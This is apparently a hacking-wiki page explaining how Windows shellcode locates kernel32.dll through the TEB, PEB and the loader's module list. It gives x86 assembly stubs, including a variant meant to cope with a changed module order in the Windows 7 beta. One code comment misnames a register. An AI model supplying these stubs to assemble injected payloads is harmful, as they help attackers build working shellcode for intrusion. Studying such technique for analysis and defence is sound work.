Hacking/Shellcode/kernel32
From Skypher
|
▼Main Page |
If you’ve coded shellcode before, you know that the code often needs to find out the address where kernel32 is loaded in memory. Below is code that use the FS: segment register to find the TEB, which in turn can be used to find the PEB. The PEB then contains a pointer to LoaderData, which contains linked lists with information on loaded modules. From these lists the location of kernel32.dll can be determined: in all versions of Windows up to Windows 7, it is the second entry in the "InitializationOrder" list.
XOR ECX, ECX ; ECX = 0
MOV ESI, [FS:ECX + 0x30] ; ESI = &(PEB) ([FS:0x30])
MOV ESI, [ESI + 0x0C] ; ESI = PEB->Ldr
MOV ESI, [ESI + 0x1C] ; ESI = PEB->Ldr.InInitOrder (ntdll.dll)
LODSD ; EAX = PEB->Ldr.InInitOrder.flink (kernel32.dll)
MOV EBP, [EAX + 0x08] ; EBP = PEB->Ldr.InInitOrder.flink.base_address
Unfortunately, it seems that in the public Windows 7 beta, the order is different: another module is loaded as the second module and kernel32.dll is the third.
I’ve create a solution to this problem that should be able to find kernel32.dll on all versions of Windows with minimal code size increase. It works by walking the "InInitializationOrder" list mentioned above and checking the length of the name of the module: the Unicode string "kernel32.dll" has a terminating 0 as the 12th character. From my (limited) testing, it seems that scanning for a 0 as the 24th byte in the name allows the code to find kernel32.dll correctly.
The code:
XOR ECX, ECX ; ECX = 0
MOV ESI, [FS:ECX + 0x30] ; ESI = &(PEB) ([FS:0x30])
MOV ESI, [ESI + 0x0C] ; ESI = PEB->Ldr
MOV ESI, [ESI + 0x1C] ; ESI = PEB->Ldr.InInitOrder
next_module:
MOV EBP, [ESI + 0x08] ; EBP = InInitOrder[X].base_address
MOV EDI, [ESI + 0x20] ; EBP = InInitOrder[X].module_name (unicode)
MOV ESI, [ESI] ; ESI = InInitOrder[X].flink (next module)
CMP [EDI + 12*2], CL ; modulename[12] == 0 ?
JNE next_module ; No: try next module.
